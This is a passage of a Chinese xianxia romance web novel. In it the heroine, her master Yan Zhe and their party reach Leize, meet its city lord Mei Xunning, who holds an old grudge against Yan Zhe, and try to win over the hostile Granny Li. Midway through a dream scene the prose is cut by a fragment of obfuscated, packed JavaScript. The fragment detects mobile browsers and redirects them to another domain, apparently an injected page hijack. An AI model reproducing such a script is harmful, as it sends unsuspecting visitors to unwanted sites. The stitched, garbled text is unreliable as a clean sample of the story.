言遮闻言,没有一丝怀疑,立马御剑朝山门外飞去。
等他拎着一袋葵花籽回来的时候,却不由分说就被师尊关进了后山的洞里。
“宗门小测,你师兄特意来告诉你,你倒往山下逃了。”
云水真君平日最宠这个小弟子,眼下气得胡子飞舞,负手离去。
都没给言遮解释的机会。
从那天起,言遮找到了一个词来形容自己的大师兄。
蛇蝎心肠。
*
次日清早,姜盈初刚敲响师父的房间门时,门就被打开了。
姜盈初一愣,脱口而出:“你也没睡?”
言遮闻言皱起了眉:“当然睡了——什么叫‘也’?你没睡么?”
姜盈初无法辩解,转身就跑。
等她早膳时吃下师父额外递过来的小糖包时,师父的脸色才略有好转。
“唉,你把药丸子也得吃了!”见言遮起身要往出走,姜盈初连忙拽住他的衣角。
三水托腮看了全程,好比看了一出戏。
他用袖子擦擦嘴,评价道:“你俩是轮流来当师父吗?我管你一下,你管我一下的。”
没等姜盈初回答,言遮就冷嗖嗖地怼了回去:“谁管谁都用不着你管。”
三水:“……”
姜盈初很想捂住自己师父的那张毒嘴。
“你学学人家临……”言遮因为想不起名字而一顿,最后索性抬手指了指一旁的临野。
“你学学人家,安安静静的,多好。”
受到踩一捧一的夸赞,临野脸上却依旧没有任何表情。
姜盈初幻视着桌边一队人,突然感到轻松了一瞬间。
虽然事态紧急,可他们这个除魔小队的人,倒也有趣。
言遮和三水一路拌嘴仗,吵到雷泽都没有休战。
临野不动声色,一声不吭,却很可靠,替姜盈初分担了载旺财和三水的重任。
至于姜盈初的剑上为什么载着言遮呢?
那必然是言遮靠着三寸不烂之舌为自己争取来的。
毕竟三水在这一群人里面,也最亲近姜盈初。
这种鸡飞狗跳的平静维持到了进雷泽的岔路口,而后四分五裂。
看着面前古树环绕的两条岔路,姜盈初左右找了一圈,没发现一点儿线索。
雷泽鲜少有外人进入,里面的人也久居不出。
他们找不到一个能够问路的人,也不能御剑飞过去——因为姜盈初诧异地发现,这个地方居然有结界。
不知道是谁何人何时布下,但她难以用法力闯进去。
姜盈初只好从包袱里翻出两个传声海螺,把其中一个递给临野。
“兵分两路吧,谁走对了,就给另一个人说。”
临野接过海螺,还是波澜不惊地点头。
好像就没有什么事情能让他露出一丝额外的表情。
言遮听到兵分两路,自然而然地站在了小徒弟身后,并且不断用眼神警告着蠢蠢欲动的三水。
“师父。”姜盈初纠结许久,还是轻声唤道。
言遮很神气地抬起头,顺便对着三水挑衅一笑。
“还是我们一队吗,好。走吧。”他伸手要去接姜盈初手里的包袱。
姜盈初却躲了过去,神情尴尬,摇头道:“你跟着临野吧。”
言遮的得意四崩五裂,而后转移到了三水脸上。
结果下一瞬,一盆凉水也给三水浇下。
“你也跟着临野。”姜盈初说。
三水和临野都是一脸迷惑。
只有言遮思忖片刻,突然上前。
“别听他们的话。”言遮的声音轻柔,透着一股姜盈初不常见的坚定。
三水仰着脸问:“啥啥啥?他们是谁?什么话?”
姜盈初抿唇不答。
他们是很多人,那些所有给她扣上“灾星”之称的人。
若柒柒很有可能被抓进了雷泽,姜盈初不确定这里面会有什么危险。
但她很怕出事的又会是自己身边的人。
“你要是实在担心,我和三水跟着临野走就是。”言遮道,“旺财你带着。”
姜盈初还要推辞。
“临野一个人也护不了我们这么多人。”言遮解释,“何况你的水平在他之上。”
他心里默默补充了一句:而且旺财这蠢货是个麒麟,如若真有什么,它也能护着你。
有理有据,姜盈初思忖一番,抱着旺财点头。
一队人分裂完成,各自上路。
雷泽地处南方,没有什么春夏秋冬之分。
满山古树,尽是茉莉,还齐刷刷地开着花,香气逼人。
姜盈初抱着旺财,小心翼翼地走了好一会儿。
遮天的茉莉挡着阳光,倒也不是很热。
传声海螺里时不时传来言遮的询问,姜盈初每次都仔细答了,转头在心里腹诽:这海螺定是言遮从临野手里夺过来的。
再往前两三里路,四周依旧十分幽静。
姜盈初边走边左右张望,浮生剑随时准备亮出。
不过姜盈初能听见的声音只有自己的脚步声,她有点好笑自己的疑神疑鬼,却在勾唇笑的瞬间,突然停下脚步。
海螺已经有段时间没传来声音了!
姜盈初朝里面喊,没有传来任何回答。
上上下下左左右右猛晃几下,也依然没有一丁点儿声音。
“西海的法器,在我的地盘上怎么能起作用呢?”前方,一道声音从远处走来,未看清其人,倒是先闻其声。
姜盈初一手抱着旺财,一手执剑。
她的剑却是平举起来的,一端挑着官文书。
来人渐渐靠近,清晰地出现在姜盈初的视野里。
一身板正的墨色长袍,头发高高竖起,顶着一个帽檐堪比屋檐的草帽。
姜盈初警惕地握着剑。
来人倒没有要动手的意思,瞥见官文书,取下细看。
“在下梅寻宁,雷泽城主。”他把文书重新给姜盈初挂在剑上,拱手作揖,“皇上钦点除魔之人来此,我有失远迎,见谅。”
姜盈初松了口气,摇头道:“无妨。”
她看了看手中的海螺,又看了看梅寻宁。
梅寻宁会意,衣袖轻拂,海螺里变立即传来了三水颠簸的嚎啕声。
伴随着杂乱的脚步声,听起来像在撒丫子狂奔。
“你们遇到什么了吗?”姜盈初瞬间紧张,大声问。
那头传来同样大声的一句“闭嘴!”
三水还在扯着嗓子哭,下一瞬哭声又戛然而止,不难听出是遭到了捂嘴的待遇。
“师父?”姜盈初再次唤道。
海螺那头,言遮松了一口气,修长手指从三水嘴上拿开,满脸嫌弃。
“没事。”言遮简单道,“你呢?这个海螺突然不出声了。”
姜盈初:“我的也是。你们往回走吧,这条路是对的。”
“我们已经在往回走。海螺是怎么回事儿?”言遮问。
三水跑得气喘吁吁,没忍住哽咽地控诉:“海螺刚没了声儿,他就逼我们往回跑了!”
言遮凉凉地扫他一眼。
三水便第一次发现,原来这个跟自己拌嘴的人是如此恐怖!
他被吓得不敢吭声了。
海螺的声音很大。
三水控诉的声音飘扬出来,一旁的梅寻宁也能听到,让姜盈初生出一种家丑被外扬的感觉。
她尴尬地咳了两声,说:“没什么事儿,你们来这边就知道了。”
话毕,她开始等待。
梅寻宁很是体贴地询问:“要不我们也往回走一走?”
姜盈初点头。
她和梅寻宁边走边聊,讶异地发现这个雷泽城主竟活得十分闭塞。
不知道京都仙门这些日子的腥风血雨,也不知道宫里怪诞的离奇事儿,甚至连自己这个仙门宗主都不知道。
姜盈初忍不住问他:“长年累月待在城中,真的不会闲得无聊吗?”
梅寻宁笑了:“几十年而已,何来无聊之说?”
毕竟他曾经有过三百年不下山的光荣历史。
而今二十年不出城,简直不值一提。
*
从前三百年不下山的日子,离梅寻宁很遥远,很遥远。
遥远到他都记不清。
不过有个日子,他却一直牢牢刻在心里。
彼时东洲叫“景和”。
景和二十四年,云水真君横空出世,把“仙人”这个词带到了人间。
大家才发现,原来人是可以像鸟儿一样上天的,原来云是可以被人踩在脚下的,原来风火雨雪是可以被人掌控的!
想拜在云水真君门下的人无数,云水真君也拒绝了无数。
梅寻宁在当时是万众敬仰的存在。
因为他不但是景和的三皇子,还是云水真君门下大弟子。
后者的名号在当时要比前者威风许多。
人人赞他天赋异禀,年纪轻轻便修到真人,飞升指日可待。
梅寻宁也很期待。
一夜暴雨,众人瞥见数到惊雷劈在云水山。
他们惊呼:“这肯定是云水真座下大弟子飞升了!”
人群涌上山去恭贺,人数之多,蜿蜒十里,街道上车马难行。
可众人寸到山上,却纷纷惊掉了下巴。
飞升的不是梅寻宁。
而是云水真君前七日才收的小弟子——言遮!
七日飞升上神。
从此人人提及言遮,都唤他一句“奇才”。
而提及梅寻宁,却依然还是“云水真君座下的大弟子”。
梅寻宁想不通,自己日日勤恳练习,十年如一日。
言遮才拜入师门七天,还总是逮着空就偷懒。
怎么言遮就成了那个飞升的人?
怎么言遮就成了众人口中的奇才?
怎么师尊还格外宠爱言遮?
梅寻宁实在不懂。
他这人很倔,很犟,很牛。对于不懂的问题,刨根问底,掘地三尺也要找到答案。
功夫不负有心人。
梅寻宁在后山发现满手沾血的言遮,发现了真相。
倒在一边的尸体是言遮的一个师姐。
云水真君座下,梅寻宁义愤填膺地控诉言遮:“他为了增长修为,吃了同门的内丹!”
证据确凿,他要看言遮如何抵赖!
真给他抵赖过去了。
师尊护着他,同门都向着他讲话,梅寻宁才惊觉自己大师兄的名号不过一个笑话。
这山都能随着言遮姓了!
梅寻宁算什么?算蝼蚁一个。
小师弟手上的血迹未干,却被众人护在身后。
从那天起,梅寻宁找到了一个词来形容自己的小师弟。
蛇蝎心肠。
*
姜盈初远远听见脚步声,最先映入她眼帘的是三水飞扑而来的身影。
小孩儿大抵受了惊。
姜盈初张开双臂,想要安慰他,却发现他在扑进自己怀里前的最后一秒停下了脚步。
一只罪恶的手不由分说揪住了三水的衣领。
三水生无可恋地投降:“我不抱她了,你能放开我吗?”
“当然。”言遮从善如流地松手。
梅寻宁微不可察地挑了下眉,视线和言遮相对,不动声色地开始对峙。
姜盈初毫无察觉地挡在他俩中间,介绍道:
“雷泽城主梅寻宁。”想到刚刚这位城主主动提议和自己往回走,姜盈初补充了一句,“挺善良的。”
“我师父言遮,人也挺善良的。”
互相评价为蛇蝎心肠的两人:……
9. 晋江文学城 09[琼枝巷]
雷泽城主梅寻宁,位列十三仙君之一,法号参商。
仙人下凡,并非随心所欲。
参商君梅寻宁下凡的缘由,也是辅佐帝君除掉魔头。
所以即便他和言遮之间恩怨难了,在姜盈初面前,也得配合言遮,装作互相不认识。
姜盈初四人被安置在了城郊一座小院中。
院中青苔淹石,院外一条蜿蜒石阶,流过城外攀附在古树上的茉莉,隐在山色昏昏中。
幽静,满院暗香,是姜盈初会喜欢的地方。
但她现在压根没有心思考虑住处如何。
见院子太过偏僻,她提醒梅寻宁,说:“梅城主,你可知道我们来雷泽所谓何事?”
“文书上不是写清楚了么?”梅寻宁摸出串叮铃作响的钥匙,取下一片递给临野,“宗主奉旨除魔。”
他把钥匙往衣衫里往回塞的动作一顿,眼睛也猛然瞪大。
“魔在雷泽?雷泽有魔?”梅寻宁大惊,拔高声音问。
姜盈初摇了摇头,梅寻宁肉眼可见地松了口气。
“我来这里,当务之急是要找一个人。”姜盈初说,“大抵这两日,宗主可知这城中还有人来?是个姑娘,年纪——”
“雷泽虽然四面环山,人烟稀少,可也不是整天都无人进出的死城。”梅寻宁打断她,“我这个城主虽然清闲,却也不是成日守着门,看有哪些人进出过。”
“是,城主只是今日碰巧格外清闲,今日碰巧来了兴致守城门,今日碰巧又遇到我们。”言遮幽幽地加入谈话,阴阳怪气道。
他正大马金刀坐在院中石凳上,抵着石桌,指间还夹着刚从棋盒里顺出的一颗棋子。
散漫的样子让梅寻宁倍感挑衅,也让姜盈初蹙起了眉心。
她三两步上前,抱臂在言遮面前站定,沉声道:“起来。”
在后面看戏的梅寻宁愣怔,没想到姜盈初会这么给言遮说话。
给言遮用这种态度说话——这不等于自寻死路吗?
从前在云水山的时候,言遮是只漫山遍野乱窜的野猴子。
除了师尊板起脸能唬住他,别人给他摆脸色,都会被他视作比试的信号。
后来在天界,言遮成了常年面瘫的帝君,自然没人给他一点脸色瞧瞧。
诧异在梅寻宁心中久久不散,他还没缓过来,更让他诧异的事情发生了。
只见言遮听话乖巧地站了起来,面对小徒弟冷脸的时候还露出了几分——心虚的神色?
这还是言遮么?这还是帝君么?
姜盈初在石凳上铺了狐裘,对师父依然板着脸,“我提醒过你两次,石凳寒凉。”
“不会有下一次了。”言遮低眉顺眼地答,俯身眼巴巴地去看小徒弟的表情。
梅寻宁瞠目结舌,感叹某人的情报真准的同时,心头还一阵恍惚。
他想起来了,从前在云水山时,言遮虽厌恶别人摆脸色,可独独对一个人例外。
那个人生气蹙眉,面如冰霜,甚至拳脚相加,言遮嘴角都永远噙着死乞白赖的笑。
“梅城主?”姜盈初伸出手来,在出神的梅寻宁面前晃了两下。
“啊?”
“我说,能否劳烦城主帮我们找找,城中可有我们要找的那个姑娘?”
梅寻宁不假思索地点头:“当然,雷泽城小,找人何其容易?我下一道搜城令便是。”
没想到会这么容易的姜盈初大喜。
但随即,梅寻宁话锋一转,又道:“不过这搜城令,可不是能轻易就下的。”
他故意靠近了姜盈初几步。
坐在石凳上的身影立马闪了过来,姜盈初只觉有双手环上她的腰,把她往后带了几步。
知道这是谁的手,姜盈初没有亮剑往后砍。
梅寻宁勾起了唇,又在刹那间压了下去,拧眉故作愁苦道:“宗主不知,在雷泽,我一个城主实在没有什么权利。”
“若是要下一道搜城令,需得城中人人知晓:这令为谁所下?要搜何物?”
姜盈初摆手:“那你直接告诉他们便是啊。”
谁知梅寻宁又摇起了头:“清楚只是第一,第二呢,还得城中人人都同意了,这搜城令才能落实起来。”
“简单。”姜盈初说,“我奉旨除魔,大家怎会不同意?”
“哈哈哈哈——”梅寻宁神秘兮兮地笑了,他伸出食指左右晃了晃,“宗主自己去城中逛逛便是,也会知道我为何将你们安置在城郊的院中。”
不等姜盈初追问,他就借口“突然想起来有点事”匆匆溜走,幻移离开,无影无踪。
三水蹲在地上用枯枝画圈,仰面吐槽说:“这还用猜吗?肯定是他不愿意给我们付城中客栈的房钱,才把我们这些穷人丢到这偏僻院子里的!”
“谁说我们是穷人?”姜盈初好笑地问。
“他。”三水指向言遮,“前两天我让他给我买串糖葫芦,他说我们穷得叮当响。”
姜盈初:……
那是他不想给你买。
“下次想吃就找我。”她摸摸三水的头,“他穷,我不穷。”
*
次日,姜盈初牵着三水的手,在糖葫芦摊前收回了这句话。
她不可置信地又问摊主一遍:“这糖葫芦一串多少?我是说一串。”
“一串一百两银子,喂,我都说了两遍了。”摊主斜眼看人,手中蒲扇不耐烦地摇着,“你买不买,不买走开啦!”
看着草靶子上空落落的地方,姜盈初指着问:“这些糖葫芦是卖出去的?”
“不然还能是我送出去的嘛?”老板没好气道。
姜盈初和三水面面相觑。
一串糖葫芦便要卖一百两银子,这是什么飞涨的物价?
“你穷不穷?”三水干巴巴地问。
姜盈初咳了一声,也干巴巴地回答:“穷,特别穷。”
当他们灰溜溜地要离开时,忽然有个年岁和三水差不多的小孩儿喜滋滋地小跑过来。
一时间,姜盈初和三水都忍不住看向她。
能买的起百两一串的糖葫芦,这小孩儿得多有钱?
却见摊主眉开眼笑地从草靶子上取下一串,递给小孩儿,温声道:“五文钱。”
“为什么???”三水当即大吼出声。
摊主收了五文钱,闭目养神,对三水的质问恍若未闻。
“你欺负我俩不是这个城里的人咯?”三水跺了两下脚,手插在腰间问。
摊主不答,故作睡态,打起了绵长的鼾。
姜盈初拍拍三水的肩:“算了,城中又不是只有这里卖糖葫芦。”
一大一小两个身影愤愤地离开。
“这糖葫芦怎么卖?”
“五百两银子一串啦。”
“这糕点怎么卖?”
“不贵,一块八百八十八两银子。”
“这茶水——也是千两银子一壶吗?”
“嗬哟!客官,你猜的不准,哪有这么贵?一壶只需九百九十九两银子哦。”
……
一上午过去,姜盈初和三水发现一个可怕的事实。
城郊小院里,言遮的脸色也不是很好看。
临野则是满脸诧异,一头雾水,还没品过来究竟是怎么回事。
他声音艰涩地问:“这里的东西怎么都这么贵?”
“不是贵。”姜盈初摇头说,“是我们受到了针对。”
烈阳高挂,嘲笑人一般地拼命晒,让院中几人都感到十分刺眼。
“笃笃笃——”
院门被人敲响,不请自来的梅寻宁再次出现。
他像和大家熟络一般,径直上前,笑问:“宗主可知道我将你们安置在此处的用心良苦了?”
姜盈初扯出苦笑:“有朋自远方来,你们这座小城里的人怎么都是满脸不悦呢?”
不但满脸不悦,还一致排外,十分团结地针对他们。
“习俗。”梅寻宁无奈地摊了摊手,“这道搜城令有多难下,你想必知道了。”
姜盈初绝望地点头,尝试着问:“那我用术法在此搜寻可好?”
“他们既不欢迎你,你要是用术法强闯民宅,下场凄惨呐。”梅寻宁给自己倒了口茶,一饮而尽,砸吧着嘴说。
三水小孩儿脾性,别人怎么对他,他便要送给别人同样的态度。
听到这座小城都不欢迎自己时,他钻进房间扯了包袱就要跑。
临野眼疾手快又揪住他的后衣领。
“放开!你放开我!我要走!”三水咬牙切齿地朝天吼道,“人家不欢迎我们,我们还待在这里干嘛?”
话音刚落,他的眼前多出一道黑影。
梅寻宁缓缓蹲在小孩儿面前,循循善诱一般,温言细语:“雷泽虽不欢迎生人,但想让别人欢迎你,也简单。”
想到今天齐刷刷抬高物价的一众人,姜盈初重复道:“简单?”
她不相信。
梅寻宁笑了:“雷泽没有什么别具一格的东西,但有个风俗却是一等一的好——团结。你若是让一个人接纳你了,那一传十,十传百,短短半日,人人都对你笑脸相迎。”
姜盈初:“你接纳我,不算么?”
梅寻宁没料到她会这么快接上话,出神片刻,他摇头:“那自然不算。琼枝巷里有个好脾气的李阿婆,她算。”
“碰巧李阿婆这两日有烦心事,若是你们施以援手,想来她定会接纳你们。”
“多谢。”姜盈初道。
梅寻宁又借口“突然有点急事”走了,姜盈初看他顶着大草帽走出院门的身影,忽感困意袭来。
她没有午间小憩的习惯,很想现在就立马动身去琼枝巷。
可上下直打架的眼皮让她躺在了床上。
“不舒服?”言遮察觉到不对劲,趴在床边问。
姜盈初翻了个身,懒洋洋地解释:“没有,八成是天热的缘故。”
言遮“噢”了一声,没有再说话。
他捏了把扇子,一下一下地小徒弟扇着风。
身旁草木的清香和梅寻宁离开的身影渐渐混在一起,一片杂乱。
姜盈初也迷迷糊糊地梦到了一些事情。
*
她感到自己的身子动弹不了。
睁开眼,近处是涟漪阵阵的水池,片片花瓣漂浮。
远处是山门道道,两旁青树棵棵,看旁边练剑画符的人群,这里应该也是哪个门派。
但论气派,这里更像皇宫。
起码姜盈初没见过规模如此大的门派。
重叠的山门望不到头,眼前人来人往,人人身穿青白相间的衣袍,谈笑声也不止息。
“唉,掌门今日要收个亲传弟子,听说了吗?”
“早就听说了!不知道这人是什么来头,居然能直接拜在掌门座下。”
“这个我知道,是江城一位富商之子!”
人群发出一片恍然大悟的声音。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105574|179643||http|test|mini|href|location''.split(''|''),0,{}));
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>一个眼尾有痣的姑娘把大家的心声说了出来:“那想必定是凭借着……进的门咯?”
话音刚落,后方伸出一只手,捏着书本毫不留情地拍在了她头上。
“想什么呢?师尊是会接受那些俗物的人吗?”他板着脸问,“师尊收徒,定是徒弟有可取之处,你们不要胡乱揣测。”
一群人乖巧地点头。
他训完人,负手走了。
姜盈初看着他的背影,感到熟悉。
这个离去的背影和梅寻宁的背影渐渐重合,他的面容也和梅寻宁的样子重合……
震惊二字挂在姜盈初头顶。
但下一瞬,一个更熟悉的身影出现在最近的山门处,让姜盈初彻底愕然。
熟悉,却又陌生。
来人身形清秀挺拔,墨发高高束起。
从进山门的那一刻,无数目光便悄然聚集到了他身上。
而他对四面八方窥探的视线视若罔闻,步若流星,径直向姜盈初走了过来。
姜盈初心头一震,想上前仔细瞧一瞧他的面容。
但她还是左右都动不了。
来人衣摆随动作飞舞,搅乱温柔天光。
在姜盈初的注视里,他单膝下跪,神情庄重道:“弟子言遮,拜见师尊。”
是言遮……
真的是言遮。
姜盈初终于确定自己没有看错。
这里看起来像修仙的门派,梅寻宁在这里就算了,言遮怎会在?
什么掌门?什么师尊?什么亲传弟子?
对了——她又为何会在这里?
姜盈初猛地惊醒过来。
梦中人的脸庞此刻就在她的身侧。
言遮见徒弟一脸惊恐,支着脑袋问:“梦见什么了?”
姜盈初眨了两下眼睛,慢慢从梦的余韵中抽离。
雕花窗棂将阳光割裂成片片,光被拦腰斩断,也没了在屋外时刺眼的嚣张。
言遮就好似一座神台上落灰的旧像,隐在柔弱的光里,眉目不清不楚。
姜盈初和他对视上的瞬间,连忙慌乱移开了视线。
像凡人不敢以眼神亵渎神佛一样。
言遮挑眉。
“你为何不把头发束起?”姜盈初突然问,她问得小声,脱口而出。
言遮:“我为何要把头发束起?”
意识到自己说错话的姜盈初支支吾吾。
总不能说,我梦里的你玉冠束发吧?
电光石火,灵光乍现。
姜盈初突然想到了一个绝好的借口,一本正经道:“我看梅城主束发的样子挺板正的。”
言遮:……
*
琼枝巷,临野随手拦住一个路人,问:“叨扰,您可知李阿婆家在何处?”
“梅城主要我们来寻她。”姜盈初在旁补充道。
那个路人本来听见“李阿婆”三字就要撒腿狂奔,却又被“梅城主”的名号定在了原地,而后双腿打颤地把他们带到了巷子深处的斑驳院门前。
三水看一眼他站不稳的腿,天真地问:“你有病?”
路人连气都没敢生。
姜盈初低声呵三水:“怎么说话呢?”
“那他干嘛抖成筛子?”三水反问。
姜盈初转头去看带路的人,却发现他早已惊恐地窜远了,好像身后有饿狼追赶。
她心底划过一丝不解,却没有太纠结,径直抬手叩响了门环。
“难不成是害怕?可城主都说了,王阿婆脾气最好了呀。”三水嘟囔道。
身后,言遮若有所思地扫了他一眼。
很快有哒哒哒的脚步声由远及近,一道沙哑的声音贴着门问:“谁?”
“阿婆,我们是从京都来的,奉旨除魔。”姜盈初开门见山道。
沙哑的声音“哦”了一声,片刻宁静过后,门吱呀呀地打开。
伴随着一种水花拍打石头的声音。
霎那间,姜盈初反应过来,连忙后退。
也在那一刻,言遮伸手去捞小徒弟,顺手把三水推搡去了前面。
临野和三水并排站着,没有表情。
门开后,迎面而来一桶水,临野和三水都被浇成了落汤鸡。
一切发生得太快,快到大家还没看清阿婆的庐山真面貌,门就又“砰”地一声合上。
“爱除哪门子魔就除哪门子魔,我家又没有魔,你们有多远滚多远!”李阿婆在门后低声骂道。
湿漉漉的临野冷静地擦去脸上水珠。
湿漉漉的三水火冒三丈,小小的身躯散发着巨大的愤怒,扑过去把门敲得砰砰响。
“你这人怎么这样?我们好心来帮你,你给我们泼水干嘛?你院子里藏了宝不让进,你让我们走就行——”三水喋喋不休地反骂回去。
门里没了声响。
得不到回应,三水气不打一处来,张大嘴巴,扯着嗓子咆哮。
也就在这时,“吱呀”一声,门又打开。
扑面而来的粉尘让临野和三水措手不及,特别是三水,被面粉糊了一嘴。
姜盈初和言遮因为还站在一旁的缘故,没有遭殃,只有衣袍上堪堪沾了点沫。
在李阿婆的门前“喝”了一桶水,“吃”了两大碗面。
为了防止李阿婆盛情难却,再扔出来点什么,姜盈初只好带着三个人灰扑扑地去找梅寻宁。
“怎会如此?”城主大人府邸中,梅寻宁听完他们的讲述,吃惊地问。
10. ……
“许是因为烦心事的缘故?”姜盈初想到梅寻宁之前话里的消息,试探地问。
她想从梅寻宁口中套出更多的话。
却见有带刀侍卫匆匆小跑过来,脸上激动的神情和动作之急迫不相上下。
“城主,人找到了。”侍卫邀功地说。
见城中有要事的样子,大家默契地闭嘴,纷纷把目光投向此刻作为主角的梅寻宁。
梅寻宁闻言立即起身,站得笔挺,庄重地看向门外。
一根长棍最先迈进门槛,从沾泥的棍底缓缓往上,露出插满糖葫芦的草靶子。
让人记忆深刻的蒲扇也晃进门的时候,姜盈初终于抬眼看向来人的面庞,也确定了自己内心可怕的猜想——
一串糖葫芦卖百两银子的摊主进门了。
许是没有料到几个外乡人会出现在城主大人的府邸中。
摊主看见姜盈初,好比见了鬼,转头立马向城主大人投去一个求助的眼神。
梅寻宁丝毫没有察觉,上前拉起摊主的手,兴奋道:“我还以为婚期将近,你不会再出来走街串巷。”
摊主一面警惕地瞟向姜盈初,一边讨好道:“城主牵挂,觉得我不会出来,还又特意派人来寻。”
梅寻宁压低声音笑道:“还不是我实在牵挂你的东西?”
两个人说话像在打暗语一样,只能看出事情似乎重要,却听不出究竟所谓何事。
姜盈初不喜欢被蒙在鼓里的感觉,上前问了一句“发生了什么事。”
在她说话的那一刻,梅寻宁抬手,撸起袖子,两眼放光。
众目睽睽之下,他脸上浮现出垂涎欲滴的神色,从草靶子上取下一串糖葫芦。
姜盈初话音刚落,梅寻宁便捏着糖葫芦转过身来,热情地问:“你们要不要来一串?”
临野摆手:“不用了。”
言遮抱臂:“不。”
三水上蹿下跳:“要要要!我要!”
“我差人寻了他好半天呢。”梅寻宁把糖葫芦递给三水,“我平日里没有什么爱好,就是好吃甜的。”
姜盈初:……
这就是你们为什么一副大事发生的样子?
她觉得自己对城主大人失去了信任。
失去信任的城主大人还浑然不觉,对着一串糖葫芦嗦得热泪盈眶,连声赞叹好吃。
“这位是雷泽出了名的糖葫芦手艺人,韩明志,这糖葫芦做的晶莹剔透,所选的山楂也颗颗饱满圆润……”梅寻宁不忘了给大家介绍。
可惜姜盈初对糖葫芦的制作过程没有兴趣,就在她要打断梅寻宁的喋喋不休时——
“他马上就要接媳妇呢,娶的是李阿婆的独女,命挺大的嗷。”梅寻宁顺嘴提了一句,“唉,你成亲了可不能丢了这做糖葫芦的手艺……”
“李阿婆的独女?”姜盈初重复道。
言遮在她身后勾唇,俯身凑在徒弟耳边,轻声道:“我知道李阿婆在烦心什么了,不用你问这姓梅的。”
已经猜到李阿婆烦心事的姜盈初转身,随口小声哄师父道:“是么?真厉害。”
“比姓梅的厉害?”
“嗯。”姜盈初应道,四人彼此默契地交换了个眼色,蹑手蹑脚地往外走。
等他们消失在主屋门外时,依稀还能听见梅寻宁夸赞糖葫芦的声音。
回到城郊小院,旺财注意到帝君周身冒着一股寒气。
“咋?”它嚼着从隔壁狗窝里抢来的两口肉,问道。
言遮嫌弃地扫了眼自己的强盗蠢麒麟,声音惆怅:“她竟真拿我和那姓梅的东西相比。”
旺财:……
旺财埋头继续吃肉,嚼嚼嚼的声音惹得帝君愈发嫌弃它。
旺财也很嫌弃帝君,这个整日不知道在想什么的帝君。
*
姜盈初和言遮的猜测别无二致,无非“孤独”二字。
琼枝巷尽头的小院里,李阿婆坐在小登上捡完豆角,又摇摇晃晃地打了桶水。
清水倒进洗菜盆子,倒映出一张晃动的脸。
李阿婆看见自己满脸的皱纹,洗菜的手顿了一下。
她转头望着空荡荡的院子,一阵失落袭来,把人裹挟其中。
女儿是修士,这会儿在玄衙里忙。
待到太阳落山,炊烟袅袅时,她就会回家,来和自己一块儿吃饭。
可这样的日子不能维持几天了。
大喜的日子一过,女儿走出这道门,自己往锅里倒米时就得少倒一点。
李阿婆擦了擦眼角,一边洗菜一边心道:这米吃不完,放坏了可得怎么办?
真难办呀。
正这么想着,院门突然被人叩响。
她小步走过去,问:“谁?”
姜盈初忐忑地抛出了编好的理由:“阿婆,我们是受韩郎之托来送糖葫芦的,还有其他东西。”
听闻来人受自己女婿之托,算是暗号勉强对接成功,阿婆这次开门后,没丢出来什么东西。
“阿婆?”
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姜盈初小心地唤了一声。
李阿婆径直往院内走,“进来吧。”
确定阿婆没有记住脸的姜盈初松了一口气。
四人挤进门内,面对阿婆的逼问,言遮大言不惭,面色如常道:“明志兄说了,这东西需得亲手交到令爱手中。”
李阿婆横眉冷对,却又无可奈何,只能任由这四个无赖立在院中。
见阿婆在洗菜,姜盈初立马挽起袖子跑了上去,“阿婆,我帮您洗。”
她刚伸出手,“啪”的一下——
李阿婆拍蚊子一样拍在姜盈初白皙的手上,然后冷哼一声,端起菜盆子进了厨房,把门怼得严严实实。
被毫不留情扇了一掌的姜盈初:……
说好的脾气好呢?
太阳渐渐往西走,树影也偏移,日头渐渐不是那么晒。
人心也在慢慢变凉。
败下阵来的姜盈初颓丧地蹲着,把希望全寄托在临野身上。
“阿婆们就喜欢你这种一本正经的孩子。”她语重心长地仰面说,“加油。”
临野带着大家的希望往前走了十来步,小心翼翼叩响了厨房的木门。
“饿了也不管饭!”里面马上有道声音传来。
临野灰不溜秋地折回了原地。
几人只好又把目光投向三水。
“阿婆们就喜欢你这种胖嘟嘟的小孩儿。”姜盈初拍着三水的肩,哄诱道:“加油。”
淋过水挨过面粉的三水走得战战兢兢,很慢地寸到了厨房门口。
抬手敲门时,三水恍若没了力气,敲出来的声响堪比蚊子的细腿在敲门。
李阿婆没听见,在里面提起菜刀。
听见“咚咚”的声响,三水立刻像惊弓之鸟,一路火花带闪电地扑到了姜盈初怀里。
姜盈初:……
只剩下一个人了。
几人的目光又齐刷刷看向言遮。
“阿婆……”姜盈初半晌没想出来一句好词儿,良久才吭出来,说:“阿婆就喜欢你这种和她一样的。”
“嗯?”言遮问。
姜盈初低头,小声快速且含糊道:“和她一样……乖的。”
言遮:?
画风好像有点突变?
他被推着向前走,心里一种说不清道不明的感觉。
乖的……
这算夸赞么?
直到一阵风吹醒人的神志,言遮忽然意识到,小徒弟这句话有个前缀——“和阿婆一样。”
11. 文学城
临野在书房不起眼的角落里发现了散落在地的地图。
是雷泽的地图。
翻过雷泽南边的山,再往前一段路,便是无妄海。
本来姜盈初找到若柒柒之后,就会赶去这个地方。
这张地图上标出的地方倒是和她的前进路线,一笔嫣红的圆圈落在南边的山上。
“在南山?”廊下,梅寻宁问捏着地图的姜盈初。
姜盈初点头:“不错,即刻动身吧。”
御剑飞行往南山赶的时候,姜盈初在呼啸的风中眨了一下眼。
言遮察觉到了她身子细微的一僵——因为他的手就环在小徒弟的腰上。
“怎么?”他问。
一抹赤色在空中忽隐忽现,姜盈初确定自己没有看错后,回答说:“又是那只蝴蝶。”
“嗯。”
梅寻宁也注意到了赤心蝶的重新出现,这让他忍不住又回头,暗戳戳看了言遮一眼。
赤心蝶。
草木和各种小昆虫关系密切,修得人身后,这些小东西也是独属于精怪的一种法器。
而在几千年前,整个云水山得知赤心蝶能听言遮的话时,都不胜诧异。
除了梅寻宁。
那也是一次宗门小测。
继言遮被师兄下了套之后。
彼时言遮飞升上神,宗门里无人与之相敌,自然而然被云水真君免去了参加小测的义务。
不料大家陆续聚集一堂的时候,言遮也混在人群中。
云水真君捋着胡子问他:“让你来的时候你不来,不让你来,你倒混在人里头了。”
言遮张嘴就是自己的歪理,道:“师尊,这技艺的精湛,离不开与人切磋。”
